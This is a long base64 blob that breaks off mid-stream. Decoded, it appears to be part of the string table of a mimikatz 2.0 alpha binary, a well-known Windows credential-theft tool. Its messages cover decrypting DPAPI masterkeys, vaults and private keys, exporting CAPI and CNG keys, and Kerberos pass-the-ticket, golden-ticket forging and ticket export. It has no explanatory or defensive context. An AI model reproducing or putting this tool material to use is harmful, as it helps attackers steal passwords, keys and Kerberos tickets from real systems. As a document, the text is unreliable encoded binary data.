BlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAJQAwADIAeAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABvAGsAZQBuAAAAAAAAAAAAAAAAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA2ADQAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOQA6ADEANgA6ADMANAApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABJAE4ASQBUAAAAAAAAAAAAQwBMAEUAQQBOAAAAAAAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgAlADEANgBzAAAAAAAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAAAAAABiAGwAbwBiAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAAAAAAAAcAByAG8AdABlAGMAdAAAAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAGMAcgBlAGQAaABpAHMAdAAAAAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAAAAAAAAYwBhAHAAaQAAAAAAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAAAAAAAAYwBuAGcAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAAAAAGMAcgBlAGQAAAAAAAAAAABDAFIARQBEACAAdABlAHMAdAAAAAAAAAB2AGEAdQBsAHQAAAAAAAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAYwBhAGMAaABlAAAAAAAAAGQAcABhAHAAaQAAAAAAAABEAFAAQQBQAEkAIABNAG8AZAB1AGwAZQAgACgAYgB5ACAAQQBQAEkAIABvAHIAIABSAEEAVwAgAGEAYwBjAGUAcwBzACkAAAAAAAAAAAAAAEQAYQB0AGEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuACAAcAByAG8AZwByAGEAbQBtAGkAbgBnACAAaQBuAHQAZQByAGYAYQBjAGUAAABpAG4AAAAAAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6ACAAJQBzAAoAAAAAAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAAAAAAGQAYQB0AGEAIAAtACAAAAB0AGUAeAB0ACAAOgAgACUAcwAAAAAAAABoAGUAeAAgACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAZABhAHQAYQAAAAAAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAGMAAAAAAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABzAGkAZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAHMAeQBzAHQAZQBtAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAAAAAACoAKgAgAE0AQQBDAEgASQBOAEUAIAAqACoACgAAAAAAKgAqACAAVQBTAEUAUgAgACoAKgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAEQAUABBAFAASQBfAFMAWQBTAFQARQBNADoAIAAAAAAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAAAAAACAAKABzAGgAYQAxACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkACgAAAAAAAABwAHYAawAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUwBBACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAGgAYQAxAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIA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A7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAAB0AGcAdAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAAAAAAHAAdQByAGcAZQAAAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAAAAAAAAcAB0AGMAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAAAAAABjAGwAaQBzAHQAAAAAAAAAAAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAlADMAdQAgAC0AIABEAGkAcgBlAGMAdABvAHIAeQAgACcAJQBzACcAIAAoACoALgBrAGkAcgBiAGkAKQAKAAAAXAAqAC4AawBpAHIAYgBpAAAAAABcAAAAIAAgACAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZ